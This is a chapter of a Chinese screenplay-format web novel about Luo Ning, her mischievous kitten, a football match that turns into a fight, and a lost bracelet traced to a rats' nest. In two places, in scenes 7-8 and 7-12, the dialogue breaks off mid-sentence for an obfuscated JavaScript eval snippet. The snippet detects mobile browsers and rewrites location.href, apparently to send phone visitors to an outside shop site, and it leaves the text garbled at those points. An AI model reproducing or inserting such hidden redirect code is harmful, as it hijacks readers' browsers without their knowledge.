“喵呜!”门缝里传来一个细细柔柔的声音,一只小灰猫从里面钻了出来。 洛宁:呀,好可爱的小家伙! 翡翠:我在土坑里捡到的,当时它差点儿被工匠当成泥巴砌进了墙里。 洛宁抱起小猫,又亲又摸。 翡翠:(酸溜溜地)你对它可比对我好多了! 洛宁:你是人、它是猫,能比吗? 翡翠:原来在你眼里,我还不如一只猫啊! 洛宁:当然了!它可不会讹我的钱。 翡翠:托欧阳姑娘的福,我也替你省下了不少钱。 洛宁:欧阳姑娘?你俩在一起这么久了,还叫人家欧阳姑娘啊? 翡翠:只有这样,她才会对我更殷勤。 洛宁:又是易大师教你的? 翡翠:他对女人确实很有一套。 洛宁:他来到凤凰城之后,应该也没闲着吧? 翡翠:你何时见他闲下来过? 洛宁:你跟他说,让他千万别找我姐的茬儿!我已经有一个风流不羁的哥哥了,不想再有一个风流不羁的姐夫。 翡翠:你姐对他来说,就像一碗白粥,若没有小菜,索然无味。 洛宁:他对我姐来说,就像一碟臭豆腐,见别人吃得挺香,自己却连闻都不愿闻一下。 翡翠:臭豆腐配白粥,岂不是刚刚好? 洛宁:(没好气地)翡翠,你什么意思?你是不是还想撮合他俩?我可告诉你,如果他俩真的成了,以后我天天请你吃臭豆腐配白粥,哼! 翡翠:那我只好天天请你喝酒了,哈哈! 洛宁对小猫爱不释手。 翡翠:喜欢的话,带它回去呗! 洛宁:你不要了吗? 翡翠:我怕它把葡萄藤咬坏了。 洛宁:那行!我先替你养着,什么时候你想见它了,我再给你送过来。 翡翠:(瞅着洛宁)如果我天天想见它呢? 洛宁:那你干脆娶它为妻吧! 翡翠:(白了她一眼)可惜它的头脑太简单了,哪里会明白我的心意?哼! 梁州,凤凰城 7-2 洛府,木兰小院,木兰花树下(夜,外) 人物:洛宁、银华 看见洛宁怀里的小灰猫,银华笑了起来。 银华:哪里来的猫? 洛宁:翡翠给的。 银华:他的酒庄怎么样了?打算从什么时候开始酿酒? 洛宁:葡萄还没种,拿什么酿呀? 银华:周围不是有很多果农吗?直接找他们买,多省事呀! 洛宁:起初他也这么想,不过四处看了一下之后,便改变了主意。 银华:哦,怎么了? 洛宁:他嫌果农的葡萄不好,酿不出来好酒,所以打算自己种了。 银华:(撇撇嘴)吹毛求疵! 洛宁:等你喝上了他酿的酒,看你还敢不敢说这句话! 银华:那要等到何年何月?没准儿又一股脑儿全倒进河里了! 洛宁:(没好气地)酒庄可是我出钱盖的,你就不能说几句吉利的话吗? 银华:那我就祝你们生意兴隆、财源广进,怎么样?是不是很吉利呀? 洛宁:(白了他一眼)你过年的时候怎么不说? 银华:我若向着他说话,那就太对不起我的好兄弟了! 洛宁:你的好兄弟?谁呀?金鹏吗? 银华:紫旭呀! 洛宁:关他什么事? 银华:紫旭喜欢欧阳兰兰,你不知道吗? 洛宁:(吃了一惊)天哪!竟有这种事?谁告诉你的?紫旭吗? 银华:他才不会说呢,不过大家都知道,除了你。 洛宁:顾云飞也知道? 银华:除了他和你。 洛宁:照你这么说,紫旭和翡翠岂不是情敌?可我见他对他挺不错呀! 银华:他那个人就是那副样子,哪怕心里很别扭,面子还是会给。 洛宁:你也该跟他学学。 银华:我学他?呵呵,我倒觉得他应该跟你哥学学。 洛宁:什么意思? 银华:给别人戴绿帽儿呗! 洛宁:紫旭天天跟我哥在一起,居然没被他带坏了,真不容易! 银华:所以他的外号才叫白莲花嘛! 7-3 督察府,洛宁和田佳的屋子(日,内) 人物:张正清、洛宁 洛宁对小猫十分宠溺,连去督察府也不忘带上它。这一日,张正清从外面进来,见小猫在篮子里睡得正香,笑着打趣。 张正清:我上午过来,它在睡觉;下午过来,它还在睡觉。这副懒劲儿,跟你可真像,不愧是你养的猫! 洛宁:要不换你养几天?没准儿它还能习得一套剑法呢! 张正清:若真如此,你可就惨喽! 洛宁:哦,为何? 张正清:在咱们督察府里,如果连猫都会功夫的话,那你岂不是成了最没用的人? 洛宁:你……可恶! 张正清哈哈大笑。 小猫在洛宁的呵护下一天天长大,洛府成了它玩耍的天堂。它从前庭窜到中庭、又从中庭窜到□□,在草地里打滚,在屋檐上奔跑,在花丛中跳跃,偶尔遇见糯米球儿,便会冲上去跟它干上一架。糯米球儿是只老猫,平日里总是一副懒洋洋的样子,面对小猫的挑衅,起初还应付一下,后来见它越来越凶,便远远地躲开了。 7-4 天地会总会,听雨轩(夜,内) 人物:洛青、洛宁 一见到洛宁怀里的小猫,洛青便没好气地说。 洛青:你的猫跟你一样横行霸道! 洛宁:怎么?它又欺负糯米球儿了? 洛青:它见糯米球儿不理它,又去招惹你爷爷养的那只八哥了。 洛宁:(掰开小猫的嘴巴看了看)它的嘴里好像没有鸟毛呀! 洛青:它把那只鸟的尾巴硬生生地扯了下来,若不是你爷爷及时发现,估计这会儿那只鸟已经在它的肚子里了。 洛宁:我以为它只吃鱼呢! 洛青:它跟你一样,什么都吃! 洛宁:嘻嘻,这才是我养的猫嘛! 7-5 天地会总会,恩威堂,顾云飞的屋子(日,内) 人物:顾云飞、风无行 风无行来找顾云飞下棋,却见一个上了锁的柜子里,不断地传来扒拉声。 风无行:(皱起眉头)什么东西? 顾云飞:那丫头的猫。 风无行:你怎么把它关起来了? 顾云飞:它打碎了我的茶碗。 风无行:(笑)那丫头若是知道她的猫在你这里受了委屈,肯定会来找你理论。 顾云飞:那我就连她也一起关起来!哼! 7-6 天地会总会,练武场(日,外) 人物:银华、紫旭、寒冰、金鹏、路易、翡翠、安琦、欧阳兰兰、弟子若干 练武场上,一场球赛正在进行中。欧阳兰兰不住地为翡翠呐喊助威,令银华心烦不已。 银华:这个欧阳兰兰,真是吵死人了!(扭头对着紫旭)紫旭,你的情敌就在对面,想不想跟他一决高下? 紫旭:银华,我知道你早就想揍他了。 银华:我想揍他,是因为他抢了我的球,但你就不一样了。(指着欧阳兰兰对紫旭)瞧见没?欧阳兰兰正在用帕子给他擦汗呢!呀,她连水都端来了,真体贴呀! 寒冰:紫旭,千万别上他的当!如果今天宁儿也在这里,他断然不敢说这个话! 银华:寒冰!你到底是哪一队的?你要是想长他们的志气,干脆去那边给他们当小弟吧! 队友甲:唉!回回都让着他们,再这样踢下去,真是太没意思了! 队友乙:他们该不会也在让着咱们吧? 银华:他们为何要让着咱们? 寒冰:友谊赛呗! 金鹏:我听宁儿说,她的表哥虽然看上去人高马大,其实却是他们中间最弱的一个。不过我怎么觉得,那个路易好像没什么本事呀! 银华:这么说,他们也放水了? 队友甲:不如咱们去试试他们! 紫旭:唉!还是算了吧,我可不想惹兰兰生气。 银华:你去探探那个路易的底,这样总行了吧?好歹你也是信义堂的人,就不怕丢了你们老大的脸呀? 紫旭:嗯,那行吧!那个翡翠就交给你们了! 银华:放心吧!趁着宁儿不在这里,我非打得他哭爹喊娘不可!哼哼!都给我上! 随着银华一声令下,众人拿出真本事,与对手一决高下。见他们突然实力大增,安琦等人有些意外,却也更加兴奋了起来。 路易:原来这些家伙以前一直没使出真功夫呀! 翡翠:你不也是一样吗? 路易:唉呀,这下藏不住了!哈哈哈! 紫旭紧咬住路易不放,银华在金鹏的配合下,对翡翠发起了猛攻,球赛渐趋白热化。 欧阳兰兰:(目瞪口呆)天哪!这些家伙怎么了?他们不是在踢球吗?怎么打起来了?不行!我得去找宁姐姐! 7-7 洛府,木兰小院,木兰花树下(日,外) 人物:洛宁、欧阳兰兰 洛宁正在逗猫,欧阳兰兰急匆匆地来了。 欧阳兰兰:(进门便大叫)宁姐姐!不好了! 洛宁:怎么了?发生什么事了? 欧阳兰兰:你快去瞧瞧吧!银华跟翡翠打起来了! 洛宁:(没听明白)你说什么?谁跟谁? 欧阳兰兰:银华跟翡翠! 洛宁:怎么可能! 欧阳兰兰:不信的话,你可以自己去看嘛! 洛宁:你说他俩打起来了,为何? 欧阳兰兰:我哪知道啊! 洛宁:他们不是在踢球吗? 欧阳兰兰:对呀!可踢着踢着就打起来了! 洛宁:紫旭呢?他在干什么? 欧阳兰兰:他也在打,不过不是跟翡翠,而是跟路公子! 洛宁:(吓了一跳)易大师?这又算哪门子的事儿呀? 欧阳兰兰:谁知道呢!你快去瞧瞧吧! 洛宁正打算往外走,想了想之后,又摇摇头。 洛宁:我不去! 欧阳兰兰:哦,为何? 洛宁:一群大老爷们儿,又都会点儿拳脚功夫,想打就让他们打呗!我若去了,反倒会扫了他们的兴致! 欧阳兰兰:那要是打出了什么毛病,怎么办? 洛宁:咱们家最不缺的就是大夫了!不过话说回来,天马上要黑了,这个时候收治病人,诊金是不是应该加倍呀? 欧阳兰兰:(没好气地)宁姐姐,你是不是巴不得他们天天打呀? 洛宁:我这就去配一些跌打损伤的药,等他们一过来,正好可以卖个好价钱!嘿嘿! 欧阳兰兰:(望着洛宁匆匆远去的背影)唉,宁姐姐,你怎么连自家人都坑呀! 7-8 洛府,木兰小院,木兰花树下(夜,外) 人物:金鹏、银华、洛宁 从练武场上回来后,银华和金鹏忙着往身上擦药。 银华:这个翡翠,之前还真是小瞧了他!早知道他这么难缠,当初我就不该让着他!哼! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007405|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金鹏:可不是嘛!我看他的身法,出奇地快,估计在总会里,也就只有你跟他差不多! 银华:什么叫我跟他差不多?是他比我差得远才对!哼! 洛宁:行啦行啦,你俩别争了!银华,金鹏说得不是没有道理!其实,翡翠在聚胜古都,可是连续三年斩获了剑术比赛的冠军哟! 银华:就凭他那个小身板儿?拿得动剑吗? 洛宁:如果今天他手里拿着剑的话,你俩还不一定能赢呢! 银华:丫头!你身上只有一半聚胜古都的血统,怎么事事都向着他说话呀?他是你的老乡,我们不也是你的老乡吗?什么叫“不一定能赢”?我告诉你,就算他手里拿着剑,我赤手空拳照样能打败他!哼! 洛宁:唉,明白了!你是恩威堂第一高手嘛!谁敢与你争锋?也就只有顾云飞是个例外! 银华:嘲讽我是吧?你给我等着!总有一天,我会让你亲眼看见我把那个翡翠打得落花流水!到那时,你可别心疼他哟! 洛宁:说到这里,我倒想问问你,喜欢欧阳兰兰的,到底是你还是紫旭呀? 银华:我喜欢欧阳兰兰?开什么玩笑!我的脑子就算是被雷劈了,也不可能喜欢上她呀! 洛宁:那你干嘛跟翡翠过不去呀? 银华:欧阳兰兰在场,如果紫旭当着她的面儿、跟翡翠打起来的话,欧阳兰兰会放过他吗? 洛宁:所以你就替他出头呀!啧啧,你这个好兄弟,当得可真是尽心尽力呀! 银华:不止是我,金鹏也动手了。(推了下金鹏)是不是呀金鹏? 金鹏:(憨厚地笑了笑)哦,是啊。大家都是总会的弟子,遇事互相照应一下也是应该的。嘿嘿! 洛宁:(指着银华对金鹏)金鹏呀金鹏,你没听出来吗?这家伙在拉你垫背呢!唉! 空中电光一闪,跟着一声惊雷,吓了众人一跳。 银华:呀,怎么打雷了? 洛宁:雷公说了,撒谎会遭雷劈! 银华:我撒谎了吗?我说得句句都是大实话!(冲着天空吼)喂!老天爷!你能不能安静点儿?我们几个人说话,你插什么嘴呀? 又是一声惊雷,雨点儿刷刷落下。 洛宁:(笑)老天爷说,他嫌你的话太多了!哈哈!下雨了,咱们快进屋吧! 7-9 洛府,木兰小院,鬼屋(夜,内) 人物:洛宁、银华、金鹏 洛宁、银华和金鹏进入屋内避雨。 银华:呀!怎么一不小心进了这间屋子?真倒霉呀! 洛宁:这间屋子怎么了?你要是觉得晦气的话,出去淋雨呗! 银华:(嘻嘻一笑)我又不是头一回来这里,我是怕吓着了金鹏! 金鹏:这里怎么了? 银华:哦,也没什么!(故意压低声音)就是有鬼! 金鹏:(吓了一跳)啊?! 洛宁:胡说什么呢!金鹏,别理他!他又在拿你逗乐子呢! 银华哈哈大笑,金鹏无奈地摇摇头,这才壮起胆子环顾四周,见屋里摆放着一排排书架,每一层都堆满了案卷。 金鹏:(问银华)这里……该不会就是你说的那间鬼屋吧? 银华:(对着洛宁)哈哈,听见没?连他也说这里是鬼屋了!哈哈哈! 洛宁:什么鬼屋呀?不过是一间储藏室而已! 银华:(指着书架后面对金鹏)看见那扇门了没?里面有个地道,通往下面的密室。 金鹏:还有个密室呀? 银华:对呀!里面摆放着很多尸体,你要不要去见识一下呀? 见金鹏一脸的震惊,银华笑得更起劲了,洛宁瞪了他一眼。 洛宁:什么尸体呀?不过是一些标本而已! 银华:可不是嘛!有眼睛、有鼻子、有耳朵、还有头,都是用活生生的东西做的哟! 空中又响起一声惊雷,伴随着电光闪闪,鬼屋里愈发显得阴森可怖。 银华:怎么样啊,金鹏?是不是吓得尿裤子了? 洛宁:银华呀银华,你就不能正经点儿吗?(对着金鹏)金鹏,实话告诉你吧,这间屋子里摆放的,是我手绘的各类案卷;至于下面的那间密室,其实是我用来配药的。 金鹏:(松了口气)噢,原来是这样!刚刚听他那么一说,我还真有些紧张呢! 洛宁和银华动手煮茶,金鹏从书架上取出一份案卷,好奇地翻看起来。 金鹏:宁儿,这里面记载的都是真人真事吗? 银华:(抢先回答)对呀,可详细了!你瞧瞧这张,这个人还没断气呢,就被凶手剖开了肚皮,肠子流得满地都是呀!还有这张,这个人身上的肉,被凶手一块一块地割了下来,血流成河呀!若换成了你,是不是早就疼死了? 金鹏:(皱起眉头)这些凶手,怎么会这般残忍? 洛宁:有的人天生残暴;有的人在经历一些事情之后,渐渐变得麻木不仁;还有的人在遇上一些偶发状况时,突然想要这么做。正所谓“千人千面、百人百性”,我们谁也无法预料,坐在自己身边的那个人,此时此刻心里正在想些什么;更无法预料,下一刻会发生些什么。 银华:听见没?就像刚才的那道闪电,说来就来了,跟谁商量过? 金鹏:杀猪宰羊,我倒是可以理解;可杀人,还真是有点儿…… 银华:下不去手是吗?我问你,如果打起仗来,敌人要杀你,你杀不杀他们呀? 金鹏:那是为了自保。 银华:杀的不都是人吗?有何区别? 金鹏:可这些凶手不仅杀人,还想尽一切办法折磨人…… 银华:如果你的心里充满了恨意,你会让你的仇家一死了之吗?那样岂不是太便宜他们了? 洛宁:(没好气地)银华,我怎么觉得你是在教唆金鹏干坏事呢? 银华:哈哈哈!不是你说有的人既是凶手又是受害者吗?(指了指外面的天空)小绵羊何时会变成大灰狼,只有天知道!哈哈哈! 59. 第七篇 神奇的魔术师 梁州,凤凰城 7-10 天地会总会,听雨轩(日,内) 人物:洛青、洛宁、洛思思 见洛青一直低着头忙针线活儿,洛宁忍不住问。 洛宁:姐!你的眼圈怎么红了?是不是哭过? 洛青:哦,没有,你别多想。 洛宁:不会是被无行大哥欺负了吧? 洛思思:风堂主怎么会欺负她呀?他心疼你姐还来不及呢! 洛宁:那是怎么回事呀? 洛思思:还不是因为二嫂…… 洛青:(打断)甜妞儿!你别乱讲,跟二娘没关系。 洛宁:哼!姐!就算你不让甜妞儿说,我也能猜出来七八分。像你这样一位不管遇上什么事情都只会一味地退避忍让的人,试问在咱们家里,除了二娘之外,还有谁会欺负你呀? 洛青:宁儿!二娘是我们的长辈,就算被她责骂,也是因为我们这些后辈做得不够好。 洛宁:哼,她不讲道理,你也不讲道理呀?难怪你会被她欺负!甜妞儿,你告诉我,到底怎么回事? 洛青:(瞪了洛思思一眼)甜妞儿,不许说! 洛思思:青儿!今天早上二嫂闹得那么凶,这件事情就算我不说,洛府上上下下恐怕早就知道了,你还有什么可替她遮掩的? 洛宁:二娘又闹什么了?她怎么一天到晚都不消停呢?我觉得她还是去北疆、待在她儿子身边比较好,这样咱们家就清静了。 洛青:(呵斥)宁儿!胡说什么呢! 洛思思:事情是这样的。今儿一大早,二嫂就把她屋子里所有的丫鬟婆子全都叫了过去,说是丢了一串菩提子手链。 洛宁:就为这点小事儿? 洛思思:在咱们看来是件小事儿,可二嫂不这么想啊!她说那串菩提子手链,是洛宇跟边境的客商好不容易才弄到的,非常稀罕。她成天戴在身上,连睡觉都不曾取下来过。听她那意思,好像这串手链还能带给她好运,每次打牌都能赢呢! 洛宁:嘻嘻!果然是件非常稀罕的宝贝,估计是远古的神仙们留下来的。早知道这东西这么神奇,我该让二哥哥也给我弄一串,这样的话用不着我去下馆子,红烧肉自己就能送上门来。多好呀! 洛青:你这个丫头,就只会耍贫嘴! 洛思思:因为不见了菩提子手链,二嫂把所有的丫鬟婆子都狠狠地骂了一通,还把青儿也叫过去训斥了一番,并要她把这群丫鬟婆子全送到县衙里去。 洛宁:那我姐怎么会答应呢? 洛思思:是啊!青儿不过是替她们说了几句好话,就连带着被二嫂骂了个狗血淋头。 洛宁:这二娘可真是的,不过一串手链而已,非要闹得大家都不得安宁! 洛青:唉!你们也知道,□□里的丫鬟婆子都是我亲自挑选和调教出来的,她们的手脚干不干净,我心里最清楚。虽然她们一个个出身贫寒,但品行并不坏,断然不会为了一串手链,毁了自己的清白。 洛宁:这串手链二娘不是从不离身吗?会不会是她自己弄丢了? 洛青:我也曾这样问过她,可她坚决不肯承认是自己弄丢的,非说是被丫鬟婆子们给偷走了。 洛宁:她屋子里值钱的东西可不止那串手链,就算真的有内贼,也不会只偷那串手链吧? 洛思思:是啊!可二嫂说不能惯着这群丫鬟婆子,不然的话这次丢了串手链,下次保不定又会丢些什么呢! 洛宁:姐!你打算怎么办?真的要把她们送去县衙吗? 洛青:(摇摇头)二娘刚刚丢了东西,正在气头上,拿身边的丫鬟婆子撒撒气也属正常,等过段日子她的气消了,或许就改变主意了。所以我跟她商量,暂且缓一缓,给我几天工夫,看能不能找到那串手链,实在不行的话,我再买一串赔给她,不管怎样先帮她顺顺气。毕竟像咱们这样的人家,若为这点小事儿闹到官府里去,岂不是让别人看笑话? 洛宁:我倒觉得这件事情应该闹得越大越好,不然的话别人又怎么会知道咱们家里还有一个像二娘这样凶神恶煞的母夜叉呢? 洛青:你这个丫头!这话要是让二娘听见了,非骂你不可! 洛宁:我可不是你!她若是敢骂我,我一定给她骂回去!想欺负我,没门儿! 洛青:行了行了!你可千万别再给我惹麻烦了,还嫌这个家里不够闹腾呀! 7-11 洛府,木兰小院,木兰花树下(夜,外) 人物:洛宁、银华 小猫抱着一条大鱼,吃得正香。 银华:叫什么名字不好,非要叫灰姑娘。听着多别扭呀! 洛宁:人家可是只小母猫,又长得这么可爱,叫灰姑娘才好听呢! 银华:要不要再给它找一位白马王子? 洛宁:不是有糯米球儿吗? 银华:老夫配少妻呀! 洛宁:这叫门当户对,正符合本国的嫁娶之风。 银华:嘿嘿,就糯米球儿那怂样,灰姑娘还未必看得上它呢! 洛宁:看不上也没关系!只要有父母之命媒妁之言,还怕不能成吗? 银华:呵呵,你这是在讽刺你姐呀! 洛宁:谁让她只会凶我一个人!前几天她被二娘骂了一通,居然连句狠话都不敢说,真没用! 银华:这叫一物降一物!就你二娘那性子,我真不知道你二伯父这么多年是怎么熬过来的;还有洛宇,居然还对她那么孝顺,将来若不娶一个跟他一样孝顺的媳妇,这日子还真是没法儿过了! 洛宁:我希望他能娶一个比他娘更厉害的媳妇,这样才有好戏看呢! 银华:哈哈!说我成天幸灾乐祸,你不也一样吗? 洛宁:我是在祈求恶人都能得恶报,只可惜这个世上总是好人没好报。真不公平! 银华:瞧瞧你,又在钻牛角尖了!何苦呢?像这种琐事,让你姐去跟你二娘斗法,斗不过的话,还有你无行大哥呢!至于你嘛,只需一边喝着茶、一边站在旁边看热闹,不就行了? 洛宁:人善被人欺!我就是看不惯我姐遇事步步退让的样子,换做是我,她若敢骂我一句,我定骂她十句、百句、千句、万句,非骂得她无地自容,让她从此后再不敢小瞧我!哼! 银华:哈哈,你这是要打世界大战呀! 7-12 天地会总会,恩威堂,走廊上(日,外) 人物:银华、洛宁、顾云飞 从练武场回来后,银华洗了个澡,刚穿上衣裳走出屋子,就见洛宁来了。 银华:咦!你这个家伙,怎么又光着脚丫到处乱跑? 洛宁:(急切地)看见灰姑娘了没? 银华:没有啊!怎么?它不见了呀? 洛宁:昨晚睡前我把它放在篮子里,早上醒来它就不见了。木兰小院里我都找遍了,也没看见它。 银华:会不会去抓老鼠了?它平常也不怎么安分呀! 洛宁:你才不安分呢!平常我若不出门的话,灰姑娘也不会离开木兰小院! 银华:也许它以为你走了呢?要不你去问问甜妞儿,看看它是不是在糯米球儿那里? 洛宁:你怎么不去问问你们老大,看看它是不是又被他关起来了? 银华:丫头,你一大早来这里,到底是想找猫、还是想找茬呀? 顾云飞:(听见二人说话,也从屋里走出,没好气地)不管是找猫、还是找茬,都不该来这里! 洛宁:我就要来这里,不行吗?上次我的蓝妹妹丢了,不也是在这里找到的吗? 银华:唉呀,一提起这事儿我就火大!那天我的胸口可是被你狠狠地踹了一脚,到现在一遇上下雨天还隐隐作痛呢! 洛宁:少跟我来这一套!这都过去多久了,你的胸口还会痛?那是从娘胎里带出来的伤,不关我事! 银华:唉呀!看来我这胸口的伤,不是被你踢的,而是被你气的。 洛宁:你是河豚呀?这么爱生气,亏你还是个男人呢!(一边说,一边四处翻找) 顾云飞:(不耐烦地)喂喂喂,你当这里是你的后花园啊? 洛宁:后花园?呵呵,顾大堂主,您这里有几朵花呀?瞧瞧这恩威堂里的景色,就跟您身上穿的衣裳一样单调!四个堂里面,就属您这里最无趣!一年四季,除了叶子还是叶子,蝴蝶都不肯往这里飞! 顾云飞:那你怎么来了? 洛宁:我来找猫呀! 顾云飞:出去出去,这里没猫!(不由分说地把她往外赶) 洛宁:催催催、催什么呀?你想留我在这里,我还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007406|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不乐意呢!哼!(一甩头发走了) 银华:呵呵,这个丫头!你说她一句、她怼你十句,一张利嘴,从来不饶人! 顾云飞:哼,不过只是些嘴上的功夫罢了! 7-13 洛府,洛二娘的屋子(日,内) 人物:洛二娘、洛青、洛宁、阿珍、小红、仆人若干 一只小灰猫从屋里溜了出来。 阿珍:咦!这不是二小姐的猫吗?怎么跑这里来了? 小红:夫人对猫毛过敏,若是被她看见可就糟了!咱们赶紧把它送回去吧! 阿珍:嗯,好。(抱起猫,发现它的爪子上缠着一样东西)咦,这是什么? 小红:咦,这不是夫人前阵子丢的那串菩提子手链吗? 阿珍:咦,好像是啊!太好了,终于找到了! 小红:对呀!这下我们可以不用受罚了! 二人喜不自禁,带着手链去见洛二娘。 洛二娘:你们说这串手链是在猫身上找到的? 阿珍/小红:回夫人的话,正是! 洛二娘:(冷笑一声)哼!糊弄谁呢!明明是你俩偷了我的手链,还想赖在猫的身上,真可笑!来人,把这两个小贼送去县衙! 阿珍:夫人!这串手链真的是在猫身上找到的!我们没有骗您! 小红:是啊,夫人!我们服侍了您这么多年,怎么会偷您的东西呢! 洛二娘:这些话你们还是留着跟知县大人说吧! 不管阿珍和小红怎么辩解,二娘都不肯相信,坚持认为手链是她俩偷的。此事传到洛青那里,她匆忙赶了过来。一听说猫在这里,洛宁也来了。 洛青:二娘,兴许这串手链真的是她俩在猫身上找到的呢! 洛二娘:青儿!你的心太软,被她俩骗了还护着她俩。我可没这么傻!现在人赃并获,这两个小贼休想抵赖! 洛青:二娘!要不您容我再问下…… 洛二娘:还有什么好问的?直接送去官府得了!正所谓“千防万防,家贼难防”,像这种手脚不干净的丫鬟,留在府里只会成为祸害! 阿珍/小红:(跪着哀求)夫人!求求您别把我们送去官府,我们真的没偷您的东西呀!大小姐!求求您替我们说句公道话,我们真的没偷啊! 洛青心中不忍,却不敢与二娘起争执,只能冲洛宁使了个眼色,而洛宁正在端详那串手链,她把手链放在鼻尖嗅了嗅,微微一笑。 洛宁:二娘,您平常都是怎么保养这串手链的? 洛二娘:我们洛宇说了,像这种菩提籽做成的首饰,最怕的就是干裂。所以我每晚临睡前都会在上面涂一些酥油,这样的话第二天戴在身上又亮又喜庆。 洛宁:酥油? 洛二娘:嗯,怎么了?你该不会也想替这两个小贼辩解吧? 洛宁:这串手链不是她俩偷的。 洛二娘:哦,不是她俩偷的,难不成是你的猫偷的? 洛宁:我的猫也没有偷,是老鼠偷的。 洛二娘:老鼠? 洛宁:二娘您对猫毛过敏,所以屋子里从来不养猫。对吗? 洛二娘:没错,是这样。 洛宁:正因为从来不养猫的缘故,你这屋子里肯定有老鼠洞。若不信的话,大家现在就可以去找找。 众人在屋子内外寻找了一番,果然在一个不起眼的角落里发现了一个老鼠洞。洛青命人用棍子伸进去鼓捣了一会儿,竟从里面掏出来一些耳环吊坠之类的饰物。 洛二娘:咦!这只耳环不是我去年在寿宴上戴过的吗?还有这块绿松石,我原打算把它做成吊坠呢! 洛青:(松了口气)看来真的是老鼠偷的! 洛宁:对啊!二娘在菩提子手链上涂抹的酥油气味,引来了老鼠盗窃,灰姑娘在捉老鼠的同时,将这串手链从老鼠洞里刨了出来,又碰巧被阿珍和小红捡到了。所以真正的小贼不是别人,正是老鼠! 洛青:(笑)嗯,这下可真相大白了!二娘,真凶已经找到了,请您原谅阿珍和小红吧! 洛二娘:宁丫头说的倒也有点儿道理。既然手链是老鼠偷的,更何况现在也找回来了,那我就不再追究她俩的责任了! 阿珍/小红:(感激地)谢谢夫人!谢谢大小姐!谢谢二小姐! 60. 第七篇 神奇的魔术师 梁州,翡宁酒庄 7-14 葡萄园(日,外) 人物:洛宁、翡翠 一场春雨过后,葡萄秧从土里冒出头来。 洛宁:这么小的苗芽,什么时候才能长成一棵葡萄树呀? 翡翠:至少要等三年。 洛宁:三年?!我还以为今年就能喝上你酿的酒呢! 翡翠:即使长成了葡萄树,头几年的果实也不能用来酿酒。 洛宁:(嘀咕)银华这个乌鸦嘴,全被他说中了!唉! 翡翠:(没听清楚)你在说什么? 洛宁:哦,我的意思是,如果不能用来酿酒,那些葡萄岂不是浪费了? 翡翠:可以当肥料。 洛宁:不能吃吗? 翡翠:可以呀,只要你不怕酸。 洛宁:翡翠,要不咱们商量一下,把头几年的果实也酿成酒,卖便宜点儿,行不? 翡翠:(摇摇头)那样只会砸了酒庄的招牌。 洛宁:这里的人不怎么喝红酒,他们尝不出来好坏。 翡翠:这是我酿的酒,由我说了算! 洛宁:酒庄还有我的一半呢! 翡翠:(笑)这么说,你答应了? 洛宁:翡翠,你只是在这里暂住,将来总有一天还是要回聚胜古都…… 翡翠:你打算什么时候回去? 洛宁:我?这可由不得我! 翡翠:由不得你,也由不得我。 洛宁:终于知道后悔了?安琦离家出走是为了逃婚,你为了什么呀? 翡翠:很多年前,当我的祖先在土里播下第一粒葡萄种子时,那块地的大小还不及这里的一半。 洛宁:可现在你们家的酒庄足足有十个凤凰城那么大!就这样放弃了,是不是太可惜了? 翡翠:在聚胜古都,我只能当一个继承者;但在凤凰城,我却可以当一个开拓者。这可是一个十分难得的机会! 洛宁:唉,明白了!你想把你的祖先当年走过的路、再重走一遍,对不对? 翡翠:(笑着点点头)没错。 洛宁:这样吧,我退出!你拉欧阳兰兰入伙,她肯定很乐意陪着你一起走。 翡翠:招牌已经挂上了,县衙那边也已经登记了,哪能说变就变呀! 洛宁:(叹口气)唉,如果当初你们没来这里,该多好呀! 翡翠:时光不能倒流,我们只能活在当下。 梁州,凤凰城 7-15 洛府,木兰小院,木兰花树下(日,外) 人物:洛宁、欧阳兰兰 洛宁正在吃早饭,欧阳兰兰又来串门。 欧阳兰兰:宁姐姐,过阵子就是风筝节了,你打算扎一个什么样的风筝呀? 洛宁:(举起小猫)这个怎么样? 欧阳兰兰:(白了她一眼)它已经是地上的霸主了,难不成你还想让它当天上的霸主? 洛宁:欧阳兰兰,你打算扎一个什么样的风筝呀? 欧阳兰兰:去年我扎的那个美人风筝,一升上天空,就变成了一个小黑点儿,实在是太掉价了!所以今年我打算扎一个巨型风筝。 洛宁:巨型风筝? 欧阳兰兰:(点点头)嗯。人们不是常说咱们欧阳世家财大气粗吗?那么咱们家的风筝也不能例外!不仅如此,我还打算把自己也栓在上面,跟着它一起飞! 洛宁:天哪!那样是不是太危险了? 欧阳兰兰:我哥派了一百个家丁来保护我,绝对安全! 洛宁:放个风筝而已,有必要这么兴师动众吗? 欧阳兰兰:唉,没办法!谁让我是欧阳世家的千金呢! 洛宁:那行吧,我祝你首飞成功! 欧阳兰兰:嘻嘻!宁姐姐,你就等着瞧吧!到了那一天,全城的人都会以为,我是九天玄女下凡尘!哼哼! 7-16 天地会总会,和敬堂,金鹏和余守泰的屋子(夜,内) 人物:金鹏、余守泰 临睡前,金鹏问余守泰。 金鹏:哥,你最近在忙些什么呀? 余守泰:怎么?有事呀? 金鹏:昨日我去木兰小院,见里面的杂草疯长,你这个花匠当得可真是太不称职了! 余守泰:最近翡翠公子的葡萄园里…… 金鹏:(打断)酒庄已经盖好了,你还赖在那里干嘛?你是洛府的花匠,这才是你的正事! 余守泰:什么叫赖在那里?我告诉你,这回可真不是我厚着脸皮往上贴,而是人家翡翠公子非要留我在那里继续干。 金鹏:干什么? 